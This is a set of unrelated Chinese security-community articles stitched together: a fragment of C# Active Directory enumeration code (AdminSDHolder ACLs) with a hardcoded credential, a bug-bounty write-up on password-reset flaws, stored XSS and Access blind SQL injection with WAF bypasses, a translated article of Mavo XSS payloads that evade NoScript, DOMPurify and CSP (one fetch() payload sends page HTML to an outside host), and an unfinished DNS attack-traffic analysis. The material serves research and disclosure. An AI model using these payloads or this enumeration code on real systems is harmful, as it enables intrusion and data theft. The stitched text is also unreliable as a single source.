Dns_First_Name = "error";
}
}
return Dns_First_Name;
}
//sid to username
public string SidToUserName(string sid)
{
LDAP_COON();
if(Ldapconn.url == "")
{
string url = "LDAP://<SID=" + sid + ">";
DirectoryEntry coon = new DirectoryEntry(url);
DirectorySearcher search = new DirectorySearcher(coon);
search.Filter = "(&(objectClass=user)(objectCategory=person))";
foreach (SearchResult r in search.FindAll())
{
string users = "";
try
{
users = r.Properties["name"][0].ToString();
return users;
}
catch
{
Console.WriteLine("error");
}
}
}
else
{
string url = Ldapconn.url+"/<SID=" + sid + ">";
string username = "hack";
string password = "test123..";
//Console.WriteLine(url);
DirectoryEntry coon = new DirectoryEntry(url, username, password);
DirectorySearcher search = new DirectorySearcher(coon);
search.Filter = "(&(objectClass=user)(objectCategory=person))";
foreach (SearchResult r in search.FindAll())
{
string users = "";
try
{
users = r.Properties["name"][0].ToString();
return users;
}
catch
{
Console.WriteLine("error");
}
}
}
return "error";
}
public void EnumUsersAndGroups_AdminSDHolder()
{
LDAP_COON();
//person
search.Filter = "(&(objectcategory=person)(admincount=1))";
Console.WriteLine("===========AdminSDHolder Users===========");
foreach (SearchResult r in search.FindAll())
{
string users = "";
try
{
users = r.Properties["name"][0].ToString();
Console.WriteLine(users);
}
catch
{
Console.WriteLine("error");
}
}
//group
search.Filter = "(&(objectcategory=group)(admincount=1))";
Console.WriteLine("===========AdminSDHolder Groups===========");
foreach (SearchResult r in search.FindAll())
{
string groups = "";
try
{
groups = r.Properties["name"][0].ToString();
Console.WriteLine(groups);
}
catch
{
Console.WriteLine("error");
}
}
//acl
Console.WriteLine("===========AdminSDHolder ACL===========");
string dns_name = basicInfo.GetDomainDNS();//DC=redteam,DC=local
String AdminSDHolder_path = "/CN=AdminSDHolder,CN=System," + dns_name;
String AdminSDHoler_Acl = "";
if (Ldapconn.url == "")
{
string dc_name = Get_Dns_First_Name();
AdminSDHolder_path = "LDAP://" + dc_name + ":389" + AdminSDHolder_path; //LDAP://redteam:389/CN=AdminSDHolder,CN=System,DC=redteam,DC=local
}
else
{
AdminSDHolder_path = Ldapconn.url + AdminSDHolder_path;
}
// //Ldapconn.url == "LDAP://name:389"
//Console.WriteLine(AdminSDHolder_path);
coon.Path = AdminSDHolder_path;
ActiveDirectorySecurity sec = coon.ObjectSecurity;
AuthorizationRuleCollection rules = null;
rules = sec.GetAccessRules(true, true, typeof(NTAccount));
Console.WriteLine("===========GenericAll===========");
foreach (ActiveDirectoryAccessRule rule in rules)
{
if (rule.ActiveDirectoryRights.ToString().Equals("GenericAll"))
{
string acl = rule.IdentityReference.Value;
if (acl.Contains("-"))
{
//Console.WriteLine(acl);
string user_name = SidToUserName(acl);
Console.WriteLine(user_name);
}
else
{
Console.WriteLine(acl);
}
}
}
}
}
} | 社区文章 |
## 前言
最近在尝试冲刺排名，恰好本次渗透中的东西可以拿来做一些分享，希望可以给大家提供一些思路，有什么不对不足的地方，希望各位师傅斧正，本文所涉及的漏洞均已提交至src平台
## 正文
### 0x01 任意用户注册
像这种注册页面没有验证码的，果断抓包尝试无限绑定任意电话号码和邮箱注册
验证之后成功注册并登录两个账户，果然可以批量注册，登陆，送上手的低危成功吃到
### 0x02 任意用户密码重置
登陆账户，进入修改资料界面，仔细观察，修改密码居然不用填旧密码？
果断抓包，这里的逻辑是用自己的用户名找回密码，在最后修改密码的时候抓包，改成其他用户名
验证一下，成功更改另一用户密码登录，ok，又是一个低危+，(其实可以看到这里第一个和第二个漏洞都不难，因为是业务逻辑类型，这类型的漏洞其实只要我们细心，就一定能挖到的)
### 0x03 水平越权+存储xss组合拳
上面在找到任意密码重置后，便可以发现这个页面存在非常简单的越权漏洞，原理同上，他的逻辑是通过username参数来查询更改后端的数据。但是既然已经找到任意密码重置了，单单一个水平越权确实没什么看点了，但是没关系，虽然咱们菜，但是咱们能坚持，够细心
继续对资料修改处进行测试，发现下面有一自我介绍处，自我介绍这个功能一般来说长度和特殊字符限制比较少，因为这属于业务需要，所以测试的时候遇到了就不能忽略，
果然这里有一存储型xss漏洞，抓包改payload，然后登陆另一账户进入修改资料页面验证成功
备注:其实这里也可以用存储型+csrf组合拳哦，不过我个人认为越权+存储型更实用(当然要是用img标签打csrf也很实用啦)
### 0x04 sql注入
问题出该网站一信息查看处，看到url处存在?id=1
多用几个payload找到更多信息，
首先是发现存在waf，
payload1:`www.xxx.com/xxx/?id=1+and+select`
然后是存在报错信息，
payload2:`www.xxx.com/xxx/?id=abcd`
虽然access数据库不支持报错注入，但是后面我们会利用是否报错来进行一个盲注
于是手注一直尝试，找到了他这里的语句结构，非常难受，access数据库除了不能报错，也不能利用注释，但是别放弃,
payload3:`www.xxx.com/xxx/?id=1+and+exists(`
基于此语句结构去构造payload，虽然有waf但是可以绕过，具体绕过手法我想在后面的文章做详细汇总
这里说一下其中有一个逻辑，select后面不能直接跟任何占位空字符(%0d,%0a,%0c,%20,'
')，这个应该是他在后端自己又加的正则，用select(xxx)可以绕过这个逻辑
最终的payload:`www.xxx.com/xxx/?id=1+and+exists(查询数据的语句)`
绕过waf后可以通过盲注暴力猜解数据,可以看到admin表不存在，会给到错误信息回显，而另一个表是存在的，则正常回显
成功猜解出一表名，点到为止，拿下高危
## 结语
最后分享自己的一个心得体会，如果想从基础慢慢进阶，那么一定不要着急，细心的去解决每一个问题，一定不要轻易放弃，有个大佬跟我说过，学习网络安全，一定要有自信，一定要坚持，我可能今天不会这个东西，但是我不可能永远都学不会。 | 社区文章 |
# 【技术分享】妙用JavaScript绕过XSS过滤
|
##### 译文声明
本文是翻译文章，文章来源：portswigger.net
原文地址：<http://blog.portswigger.net/2017/09/abusing-javascript-frameworks-to-bypass.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
在一年一度的AppSec Europe会议上， Sebastian Lekies，Krzysztof Kotowicz和Eduardo Vela
Nava三人共同展示了如何使用JavaScript框架来绕过XSS缓解机制。在这篇文章中，我将通过Mavo框架对如何绕过XSS缓解机制进行系统性的分析，特别是绕过NoScript的XSS过滤器。
Mavo框架旨在通过使用户能够使用纯HTML创建交互式Web应用程序来简化Web开发。 它在[Smashing
magazine](https://www.smashingmagazine.com/2017/05/introducing-mavo/)
站点上发布，我在Twitter上发现了它，出于兴趣使然我开始对该框架的的语法和功能进行研究和分析。
**基于DOM的XSS漏洞利用**
****
Mavo框架会创建一个名为$url的对象，该对象能够为开发人员提供访问GET参数的便捷方法。例如，如果你想访问GET参数“x”，那么你可以访问$
url对象的“x”属性，示例如下所示：
$url.x //获取GET参数x
但是，这种方便性也增加了开发人员引入基于DOM的XSS漏洞的可能性。
我在2017年5月31日向CSS工作小组报告了这样一个问题：他们使用Mavo来管理CSS规范上的评论功能，并使用$url来分配一个href超链接对象，HTML代码如下所示：
<h1> <a href="{$url.spec}" mv-attribute="null" property="title"> </a> </h1>
我们可以看到，上述代码使用$url对象从URL中获取参数的值。但是，这种情况只有在获取到有效数据的时候，超链接才会显示。因此为了达到攻击测试的目的，我需要注入一个有效的相对路径的JavaScript
URL，以便获取数据并显示链接，代码如下所示。
javascript:alert(1)%252f%252f..%252fcss-images
上面的攻击向量中提供了一个有效的相对路径的URL，因此Mavo在不存在的 **javascript：alert(1)**
文件夹中查找数据，并使用两个编码的双斜杠和“..”遍历我们的攻击向量。
在攻击向量中，由于双斜杠可以作为JavaScript中的注释因此我使用了两个斜杠，使得当JavaScript URL执行时，它会注释掉攻击向量中的其余路径。
然后它返回到css-images目录，以便成功加载数据并显示URL。由于Mavo框架是在客户端使用的，因此我们可以在我们的服务器上复现这个问题，感兴趣的读者可以[点击查看相关的POC攻击向量](http://portswigger-labs.net/mavo_dom_based_xss/?spec=javascript:alert\(1\)%252f%252f..%252fcss-images&doc=cr-2012)。
**远程加载JSON数据**
****
Mavo框架有一个特别的功能，该功能可以将任何Mavo应用的数据源更改为本地存储或远程存储。
这是一个存在漏洞的设计，因为攻击者可以借此控制你的数据并可能使用这些数据来攻击你的网站或者在你的网站中注入恶意的JavaScript URL。
Mavo网站上的演示应用程序就有这个漏洞，我们可以使用source参数指向一个外部的JSON文件，以此来自定义该应用程序上的数据。
这个外部JSON文件具有CORS header：“Access-Control-Allow-Origin：*”，使得数据能够跨域加载。
然后应用程序使用这些数据来创建一个anchor href，代码如下所示：
<a property="companyURL" mv-attribute="null" href="[companyURL]" target="_blank"> http://lea.verou.me </a>
在href属性中，demo应用程序使用了一个Mavo表达式，“companyURL”从外部JSON中获得。如果我在外部JSON文件中包含以下内容：
{
“companyLogo”：“http://lea.verou.me/logo.svg”，
“companyName”：“Pwnd Pwnd”，
“companyAddress”：“Pwnd”，
“companyURL”：“javascript：alert(1)”，
“companyEmail”：“pwnd”， ...
当上述的攻击向量执行的时候，由于加载了外部数据并将当前的数据给替换了，此时一个JavaScript
URL便在文档中成功创建了，感兴趣的读者可以点击查看相关的POC攻击向量 。
**绕过NoScript XSS检测**
****
默认情况下，Mavo允许我们将HTML文档中的MavoScript嵌入到方括号内。
MavoScript是JavaScript的一种扩展，但是它和JavaScript有一些不同。
例如，它支持关键字'and'，'or'以及'mod'运算操作，它将'='操作的含义更改为比较而非赋值，并支持Math和date对象中的各种功能的函数。有关MavoScript语法的更多信息，请参见此处
。如果Mavo遇到无效的MavoScript，那么它将把无效的MavoScript当成JavaScript来处理。如果我们想要强制执行JavaScript模式，那么可以在表达式开始的地方使用注释。例如，假如我们想要Mavo来计算HTML文档中的“1+1”表达式的值，并且该页面容易受到XSS的攻击。
Mavo使用[]来计算表达式的值，而Angular使用{{}}来计算表达式的值，因此我们在HTML文档中可以注入以下表达式：
inj=[1%2b1]
在Mavo中是完全没有沙盒的，但我们的代码会被重写，并在一个with语句中执行。要调用alert函数，我们需要使用window对象，这里window.alert或self.alert函数都可以，代码如下所示：
[self.alert(1)]
我们甚至可以通过使用间接调用达到不使用window对象也可以调用alert函数的目的，代码如下所示：
[(1，alert)(1)]
Mavo还支持一些有趣的自定义HTML属性，mv-expression允许我们可以定义用作表达式分隔符的字符。例如，如果要我们想实现类似Angular的双卷曲语法的功能，可以使用mv-expressions属性来实现，代码如下所示：
<div mv-expressions =“{{}}”> {{top.alert(1)}} </div>
此外，Mavo还支持“property”属性，该属性可以将一个DOM元素的值链接到一个JavaScript变量。
Mavo网站上有关于该属性使用方法的一个例子，代码如下所示：
<p>Slider value: [strength]/100</p>
<input type="range" property="strength" title="[strength]%" />
Mavo框架中还有两个有趣的功能，那就是mv-value和mv-if，这两个功能允许我们执行没有[]分隔符的表达式。如果表达式计算为false，mv-if则隐藏DOM元素，并且mv-value计算表达式并更改DOM元素的值。值得注意的是，这些属性将适用于HTML文档中的任何标签，示例代码如下所示：
<div mv-if=”false”>Hide me</div>
通过我的研究，发现了MavoScript表达式中有一些有趣的用法。
（1）只要表达式由字母，数字和下划线组成，我们就可以使用无符号字符串；
（2）对象属性将被转换为空字符串（如果它们不存在）。例如，即使没有这些属性存在，也可以使用x.y.z。
基于上述的那些发现，我开始着手我的测试，看看我是否可以绕过NoScript的XSS过滤器（DOMPurify和CSP）。由于我们可以使用Mavo的data-*属性，因此绕过DOMPurify过滤器是很容易的。通常在Mavo中，我们一般都使用mv-前缀，但是Mavo还支持data-mv-*前缀使得文档能够通过HTML验证。 为了使Mavo与CSP一起使用，我们必须启用'unsafe-eval'参数。
这是一个存在漏洞的设计，因为一旦“unsafe-eval”参数被启用，我们就可以在JavaScript中调用各种eval函数。在实际的绕过试验中，第一次尝试绕过是使用JavaScript中的“fetch”函数证明了可以绕过NoScript过滤器，并且能够获取和发送HTML到远程目标机器中，示例代码如下所示：
[1 and self.fetch('//subdomain2.portswigger-labs.net/'&encodeURIComponent(document.body.innerHTML))]
因为NoScript的过滤器不能解析“and”关键字和方括号表达式语法，因此我可以使用它们来绕过检测并使用fetch发送HTML文档。
Mavo还将“＆”定义为一个concat运算符，因此在我的POC中使用该“&”来连接字符串，感兴趣的读者可以点击查看相关的POC攻击向量 。
Giorgio（NoScript的作者）修改了NoScript的XSS检测机制，以检查这些新关键字和方括号语法，但是我通过滥用MavoScript解析器再次绕过了NoScript的检测机制，示例代码如下所示：
[''=''or self.alert(lol)]
在上面的代码中，MavoScript解析器把“=”解析为“相等”测试，而不是赋值。 我用这个方法逃避了NoScript的检测机制。
MavoScript将“或”定义为一个运算符，由于该运算符没有在JavaScript中定义，因此NoScript不会对它进行检测。如前所述，Mavo还允许我们在mv-if属性中执行没有分隔符的表达式，因此我可以使用下面这段代码来绕过NoScript的新检测机制。
<a data-mv-if='1 or self.alert(1)'>test</a>
还记得mv-expressions属性吗?我们可以使用该属性定义自己的分隔符，而且可以使用任何字符来做到这一点，因此我再次使用该属性逃避了DOMPurify的检测，示例代码如下所示：
<div data-mv-expressions =“lolx lolx”> lolxself.alert（'lol'）lolx </div>
Giorgio改进了NoScript，并能够检测到上述的攻击向量。不过我仍然发现另一种绕过NoScript的方法，那就是使用元素上的多个属性来构造我们的攻击向量。多个表达式可以在属性内部使用，并且可以被合并到一起，示例代码如下所示：
<a href='[javascript][""][[Title][1][x.rel]' rel=) id=x title=alert(> test </a>
我们也可以将常规属性值与表达式混合使用，以此来避开过滤器，示例代码如下所示：
<a href=javascript[x.rel]1) id=x rel=:alert(> test </a>
但是，经过我的测试发现，Nocript最新版本还是能够检测到我们上述构造的攻击向量。不过，我还是想出了一个攻击向量以绕过它的检测，示例代码如下所示：
[/**/x='javascript'][/**/x+=':alert'+y.rel+y.title]<a href=[x] id=y title=1) rel=(>test</a>
我使用注释将MavoScript强制转化到JavaScript模式。
一旦进入JavaScript模式，我在javascript字符串加上双引号，然后我将该字符串与anchor
属性的值相结合。由于Mavo解析器使用字母作为操作符以及NoScript不会对其后跟随字母数字的函数调用进行检测，因此我可以利用这些特性来躲避检测。同时，这种方法也可以用来绕过CSP检测。注意mod是一个运算符，因此允许1跟随运算符后面即使没有空格也可以，示例代码如下所示：
[self.alert(1)MOD1]
最后结合Mavo允许使用无引号字符串或者直接使用跟随在“and”等关键字之后的无引号字符串，我再次绕过了NoScript的检查，示例代码如下所示：
[omglol mod 1 mod self.alert(1)andlol]
[点击查看PoC](http://portswigger-labs.net/mavo/?csp=1&dompurify=1&inj=%5Bomglol%20mod%201%20mod%20self.alert\(1\)andlol%5D)
**结论**
****
像Mavo这样的框架可以使开发人员的工作变得更轻松，但是为HTML和JavaScript引入新的语法通常会破坏其安全机制（如CSP，NoScript和DOMPurify）。该框架还提供新的操作方式，将不可思议的传统漏洞（如DOMXSS）引入到应用程序中，甚至会引入数据源劫持等漏洞。 | 社区文章 |
# DataCon大赛DNS方向writeup及总结反思
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 题目一 DNS恶意流量检测
### 0x00 题目解读
题目介绍是在赛前就给出的，从介绍中我们可以了解到
* 目标
> 找出五种攻击流量，并将其进行分类
>
> 意味着首先需要了解DNS攻击的种类及其特点
* 数据
> 描述中并没有讲太多，仅仅提到`给定的DNS流量`,对这个流量的形式没有说明，猜测应该是pcap文件或者是处理过的数据文件。
>
> 如果是pcap文件则需要由数据包分析的知识，可能需要利用程序对数据包进行处理，如果是后者，便简单许多，不用再进行数据处理。
>
>
> 因为数据包再赛前也提供下载，设置了密码，无法提前获得数据。但是虽然不能获取数据但是解压后可以看到文件夹或文件的的名字，这样基本验证了提供的数据文件pcap文件。
* 提交
>
> 提交提供了精简版的提交格式，详细要求会提供一个文档，在上一步已经看到这个文件名。着重强调提交的文件类型，应该是和之后的得分计算有关。类型或格式不当，计算得分的程序会无法计算。
* 评分
> 评分开始并没有讲的很明白，只是说明在4号会有一次评分。但是可以知道在赛程中间会有评分，可以通过评分调整自己的答案结构。
比赛开始，获得压缩包密码，解压文件后，得到
* `example_dns1.zip`：zip压缩文件，打开后发现应该是提交的样本实例。
* `q1_final.pcap`：pcap文件，看下大小，是这次的数据文件无疑了。
* `Readme-第一题.pdf`：赛题详细介绍。
> 确定最终题目：准确判断出五种DNS攻击，并说明PCAP文件中哪些数据包是攻击流量。
>
>
> 提交：2个csv文件(攻击分类和数据包序号)，writeup，解题代码，zip格式打包。不要添加密码，不要打包文件夹。writeup影响最终得分，未详细说明，应该是想了解选手对DNS攻击的了解程度。
>
> 最终得分取最后提交的得分，不是取最高分。猜测可能是因为赛程过程中有多次提交，如果保存中间文件比较复杂，而最终评测还需要提交文件做判定。
>
> 重点：
>
> * 数据包仅包含为五类攻击，确定数据包的攻击时可以使用。
> * 评分与选手攻击编号无关，不需要关心攻击类型的排序。
> *
> 提交攻击的请求包，那么是否可以理解，如果某种DNS攻击并不能在请求中体现出来或者不需要攻击者进行请求，应该不存在于这个数据包中，缩减攻击类型判定的范围。
> * 评分规则：得分由每一类得分累加而得，每类攻击占比20%。
>
>
> 通过计算规则我们可以知道，每类攻击有固定的占比，所以不会因为某种攻击数量多而占去大部分分数，解题过程中就可以单独提交某种类型，进行测试；计算不是简单按照提交中正确数据包个数，如果出现误判会进行扣分，所以在提交后扣分的原因会有两个，一是提交数据包太少，攻击数据包没有找全，二是提交数据包太多，其中包含了太多错误分类，当然也会同时存在数据包不全并且包括错误分类的情况。
### 0x01 解题思路
在初步查看数据包后，我们队决定从两个方面入手，一利用聚类算法对数据包进行聚类，再对聚类的后的每个分类进行校验；二是对数据包进行手工查验。当然这两个方法是同步进行的。无论使用哪个方法，首先要做的第一步就是确定DNS攻击的类别。
**DNS攻击类别分析**
我们的思路是想把所有的攻击分类先列出来，在根据攻击特征进行查找，但后来发现，题目中出现的攻击并不在我们最初列出的攻击中，说明我们对攻击理解的还不够全面。接下来对攻击类型进行简单介绍。
1. 拒绝服务攻击拒绝服务攻击分为两种，一是面向DNS服务器的，可以称为洪泛攻击，目的是使得DNS服务器无法提供服务；二是面向客户机的，称为DNS反射放大攻击，通过伪造数据包，伪装客户机发送解析请求，使得DNS回应包阻塞指定客户机的网络通路，目的是使得客户机无法正常工作。分析攻击的特征：对第一种情况，可能会存在某一或某些主机短时间内向同一DNS服务器发送大量解析请求，造成目标DNS服务器的拒绝服务
> 【攻击可能存在，使用某时间段内是否存在大量向同一服务器的解析请求，且造成了服务器不正常工作】
第二种情况，是存在一个主机向DNS服务器发送大量解析请求，且请求字段为`ANY`，而服务器返回的数据包远远大于平常的返回包
> 【攻击可能存在，查看是否存在单一主机非常集中的请求`ANY`解析，其`transaction
> ID`可能会出现重复，且服务器返回的数据包远远大于正常数据包】
2. DNS欺骗攻击欺骗攻击同样包含很多类别，这里将DNS劫持和中间人攻击放在这里，同时还有DNS缓存注入。DNS劫持一般的操作是在服务器的层次进行攻击。
> 【攻击存在可能性不大，判定难度较大】
中间人攻击同样也多发生在服务器层次。
> 【攻击存在可能性不大，判定难度较大】
缓存注入攻击有两种方式，一种是传统的对客户机的解析请求直接进行伪造响应包，将目标IP直接注入。另一种是Kaminsky缓存投毒，这种攻击方式是攻击者首先伪装客户机解析一个服务器一定不存在的域名，然后在服务器进行递归解析时，攻击者向服务器发送伪造的响应包，同时将域名的权威服务器加入额外字段，一旦服务器将其缓存，则被投毒。
> 【结合题目要求，kaminsky攻击可能存在，判定条件为某一主机向服务器解析大量不存在域名，且存在大量返回`不存在域名`的响应，其额外字段为相同的值】
3. DNS隐通道利用DNS数据包越过防火墙规则，进行传输数据。
> 【攻击存在可能性不大，若攻击存在可能存在明显的构造的特殊的解析请求】
4. DNS区域传送区域传送是将某台服务器的区域文件传送至另一台服务器，主要目的是实现快速的服务器更换。但若设置不当，可能造成区域文件泄露。
> 【攻击可能存在，关注区域文件传送的数据包】
5. NSEC枚举这是针对DNSSEC的一种攻击，在未使用NSEC3的DNSSEC中，若查询区文件中不存在的域名，会以NSEC记录的形式提供靠近其的最近的下一条域名，这就造成了可能构造特殊请求，来遍历区文件，造成区文件的泄露。
> 【攻击可能存在，关注NSEC记录】
以上就是最初的攻击分类，类别不够完整，在之后的分析过程中在再补充。
**流量聚类分析**
**数据基本特征提取**
通过 wireshark 查看 q1_final.pcap 数据，查看数据中的可用字段，分析后选择如下 28 个字段:
字段 | 描述 | 字段 | 描述
---|---|---|---
frame.len | 数据长度 | dns.flags.authenticated | 服务器是否为域权威服务器
ip.src | 源 ip | dns.flags.checkdisable | 非认证数据是否可接收
ip.dst | 目的 ip | dns.flags.rcode | DNS reply code
udp.srcport | 源 udp 端口号 | dns.count.queries | s数据包中 DNS 请求数
udp.dstport | 目的 udp 端口号 | dns.count.answers | 数据包中的应答数
eth.src | 源 MAC 地址 | dns.count.auth_rr | 数据包中权威记录数
eth.dst | 目的 MAC 地址 | dns.count.add_rr | 数据包中额外记录数
dns.id | DNS Transaction ID | dns.qry.name | DNS 请求名
dns.flags.response | DNS请求/响应标志 | dns.qry.class | DNS 请求类型
dns.flags.opcode | DNS opcode | dns.resp.name | DNS 响应名
dns.flags.authoritative | 应答是否被服务器认证 | dns.resp.type | DNS 回复类型
dns.flags.truncated | 消息是否剪裁 | dns.resp.ttl | DNS 响应生存时间
dns.flags.recdesired | 是否递归查询 | dns.resp.z.do | DNS 是否支持 DNSSEC
dns.flags.reavail | 服务器是否能递归查询 | frame.time_relative | frame 的相对时间
使用 tshark 命令从 pcap 数据抽取上述字段，保存到 csv 文件中:
tshark.exe -r q1_final.pcap -T fields -e frame.number -e frame.time_relative -e ip.src -e ip.dst -e frame.len -e eth.src -e eth.dst -e udp.srcport -e udp.dstport -e dns.id -e dns.flags.response -e dns.flags.opcode -e dns.flags.authoritative -e dns.flags.truncated -e dns.flags.recdesired -e dns.flags.recavail -e dns.flags.authenticated -e dns.flags.checkdisable -e dns.flags.rcode -e dns.count.queries -e dns.count.answers -e dns.count.auth_rr -e dns.count.add_rr -e dns.qry.name -e dns.qry.type -e dns.qry.class -e dns.resp.name -e dns.resp.type -e dns.resp.ttl -e dns.resp.z.do -E separator="," -E aggregator=" " -E header=y -E occurrence=f -E quote=d > q1_final.csv
**数据特征分析**
使用 jupyter notebook 分析数据：
1. 导入必要的库
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
# show plot in jupyter notebook
%matplotlib inline
2. 读取数据
# read data
file_name = 'q1_final.csv'
data = pd.read_csv(file_name,index_col=0)
3. 分析数据基本特征的分布，选择值分布较为分散的特征，如果只有一个值的特征则直接删除：
* eth.src 和 eth.dst 只有两个值，不能很好的作为可区分特征，故删除；
* dns.qry.class 只有一个值，根本没有区分度，故删除；
* dns.srcport 和 dns.dstport 的值相当分散，这是由于客户端可以随机生成端口号所致，故作用不大，删除
* ip.src 和 ip.dst 以及 dns.id 分布随机，可以用于标识一个 frame，但不能反映 frame 的行为，故不使用；同时发现主要的 ip 地址为 `45.80.170.1` ，该地址相关的 frames 占总 frames 数的 98% 左右，故猜测为正常数据诸多，构建模型时可以先不使用该部分数据，观察聚类的效果；
**特征设计**
根据已经得出的每种攻击类型的特征进行特征设计，初步设想以一个 frame 作为基本处理单元，但是一个 frame只能为 DNS 请求或者 DNS
响应，并不能完整的反映 DNS 会话的整个流程，因此使用集合 `{ip.src, ip.dst, udp.srcport, udp.dstprot,
dns.id}` 标识一个 DNS 流， 故一个 DNS 流中至少包含一个请求的 frame ，但实际中绝大部分 DNS 流都包含 DNS 请求和响应两个
frame。那么 DNS 流 的特征如何构造才能区分正常的和异常的的 DNS 流呢？考虑到可能的攻击方式，异常的情况分析如下：
* 对于放大攻击, DNS 流中的响应的长度应该会很大, 同时响应长度和请求长度之比会很大;
* 对于 DNS 缓存投毒攻击, DNS 流中 DNS 请求 frame 的源地址可能和很多不同的服务器进行DNS会话;
* 对于区域传送攻击, DNS 流中 请求类型 `dns.qry.type`字段为255;
* 其它异常情况还可能有 DNS 流中只有请求没有响应, DNS 持续时间异常, DNS 流中的权威记录和额外记录过少等;
根据分析,得到如下特征：
特征名 | 含义
---|---
#frames | DNS 流 中的 frame 数
qry.len | 请求长度
resp.len | 请求相对应的响应长度
len.ratio | 响应长度和请求长度的比值
duration | 会话持续时间
servers | 某一主机连接的不同服务器数量
flags.resp | 标记区分请求和响应
flags.opcode | 请求执行的操作
flags.rcode | DNS 流中是否有响应标
qry.type | 解析请求类型
resp.type | 响应类型
#auth_rr | 数据包中权威记录数
#add_rr | 数据包中额外记录数
**聚类**
使用 `Python scikit-learn 库中 sklearn.cluster`
模块中的聚类算法进行聚类，首先考虑使用小的数据集上进行特征抽取和聚类,验证特征的有效性, 因为根据对数据基本特征分析时发现的主要 ip地址为
`45.80.170.1` , 与该地址相关的数据占 98% 左右, 所以可以先过滤调这部分数据构造一个小数据集上进行实验性验证。
1. 在 jupyter notebook 中完成数据中缺失值的处理
2. 编写 python 脚本完成数据特征的抽取, 保存成 hdf 文件
3. 在 jupyter notebook 中完成聚类模型的构建
最终分类结果如下:
类别 0: DNS cache pullution
ip | frame 数
---|---
144.202.64.226 | 33903
18.100.48.86 | 8
6.116.183.244 | 2
类别 1: DNS zone transfer
ip | frame 数
---|---
18.100.48.86 | 3655
类别 2: DNS dynamic update
ip | frame 数
---|---
18.100.48.86 | 3655
类别 3: DNS Amplification Attack
ip | frame 数
---|---
105.191.150.205 | 4150
127.130.104.152 | 11868
175.222.102.169 | 17182
6.116.183.244 | 72 （实际为NSEC)
类别 4: Misclassificaiton
ip | frame 数
---|---
144.202.64.226 | 291
18.100.48.86 | 428
在小数据上,使用 KMeans 算法聚类, 聚类效果很好，分类结果和手工分析结果基本相同, 除了 NSEC 枚举攻击被分类成放大, 其它4个类型基本正确,
进一步可以说明攻击类型基本确定。
NSEC 分类错误的主要原因是, 没有添加和 NSEC 攻击相关的特征, 从手动分析数据中可以看出, NSEC 枚举攻击的 frame 存在相应的标志位.
此外还有可能的原因是 NSEC这个类的数量很少 KMeans 算法适用于各类数量均匀的情况，进一步尝试使用 DBSCAN 算法进行聚类，调整 `eps` 和
`min_samples` 参数，直到分类结果为 5 类或 6 类. 分类结果和使用 KMeans 差不多，NSEC
枚举依旧误分类，因此可能的原因就是所用特征不能很好区分 NSEC 枚举攻击类型。
**流量查验**
使用`wireshark`进行数据包`q1_final.pcap`分析。
**初步分析**
数据包较大，共有`10736020`个数据包，打开比较费时，考虑将数据包进行切割，但是切割后存在一个问题，就是数据包的序号会改变对之后提取数据包的序号造成了困难，所以并没有首先对数据包进行盲目的切割，决定分析后再进行切割。
粗略浏览数据包，发现数据包结尾部分出现一部分异常流量，在并没有发现特别明显的异常。
**流量分析**
在数据包最后一部分，出现的流量全部都是解析请求，且请求的类型为`ANY`，怀疑为`DNS反射放大攻击`。
那么就用这类攻击的特征首先进行筛选，`解析请求为ANY`、`返回数据包很大`。
设置过滤器，利用解析请求`ANY` 做为条件。
dns.qry.type == 255
果然存在异常的数据包，但是还有很多正常的流量，还需要添加条件。
dns.qry.type == 255 && frame.len > 2000
确定为放大攻击。但这是响应包，需要找到其请求包。
首先确定服务器IP和客户机IP
dns servers | victim ip
---|---
187.199.129.12 | 127.130.104.152
188.141.167.218 | 175.222.102.169
70.85.232.160 | 105.191.150.205
这里其实还有一台服务器`45.80.170.1`,在第一步检查时出现但这一步并没有出现，之后检查发现，其实是有两台机器`22.203.191.72`和`223.168.98.1`向`45.80.170.1`发送了解析且类型为`ANY`，但是服务器回应为拒绝，并没有返回数据包，这部分攻击未确定。
将确定的攻击筛选出来，取出请求包。
(ip.addr == 127.130.104.152 || ip.addr == 175.222.102.169 || ip.addr == 105.191.150.205) && dns.flags.response == 0
得到`DNS反射放大攻击`请求数据包，取出其序号，获得第一类攻击流量。
在上面的筛选过程中就发现，其实服务器`45.80.170.1`是主要的DNS服务器，大部分流量是这台服务器的，那么就有一个问题，除了主要服务器`45.80.170.1`，还剩下多少服务器，多少数据包？
ip.src !=45.80.170.1 && ip.dst != 45.80.170.1
> 我用的wireshark版本有点问题，不支持ip.addr 的不等查询，只好分开写
发现剩下的数据包仅仅剩下`141213`个，结合上面的放大攻击，猜测是否攻击流量大部分在这里面。
对这些流量进行分析，发现异常流量。
出现大量返回`no such name`的响应包，且响应包中包含相同的`SOA`记录，推测为`kaminsky投毒攻击`。
请求主机为`144.202.64.226`，获得第二类攻击流量。
排查是否存在区域传送。
dns.qry.type == 252
发现区域传送数据包
请求主机ip仅有一个，为`96.199.230.176`,确定为区域传送攻击。获得第三类攻击流量。
**第一次提交**
上面三种类型形成第一次提交的答案。
攻击分类为
attackid | description
---|---
1 | DNS zone transfer
2 | DNS Amplification Attack
3 | DNS cache pollution
其中`DNS zone transfer`攻击请求包5297条，`DNS Amplification Attack`攻击请求包40990条，`DNS
cache pollution`攻击请求包34194条。
**得分** ：55.279
从得分上看，三种分类正确且基本上每一分类的大部分攻击流量被找到，扣分原因可能是因为有一部分错误流量，之后再做筛选。
**确定最后两种攻击**
刚开始就列出的攻击类型，在分析过程中又找到了一种攻击向量，`PTR反查`，利用`PTR记录`的特性可以遍历保留地址来获取内网的域名信息，造成内网信息泄露。
在数据包中查找是否存在这种记录。
从查询结果看，数据包中确实存在`PTR`查询，但是查询并不具备攻击特征，其查询的是域名而不是大量的查询保留IP地址，可能不是攻击，保留，之后再做判断。
沿着之前找出的三种攻击的思路，继续在非`45.80.170.1`的流量上进行分析。
针对`NSEC`记录进行分析，发现大部分流量是存在`NSEC3`记录的，说明已经做了防护，那么是否存在`NSEC`记录呢？
dns.resp.type == 47
仅仅利用类型筛选发现被`反射攻击`利用的服务器也存在这个问题，需要进一步筛选。
dns.resp.type == 47 && frame.len <2000
发现异常流量，确定为攻击，攻击类型为`NSEC枚举`。对应的服务器和客户机为
server | client
---|---
185.25.160.3 | 6.116.183.244
对其流量进行分析发现存在一种奇怪的流量，DNS动态更新记录，感觉可能存在问题。
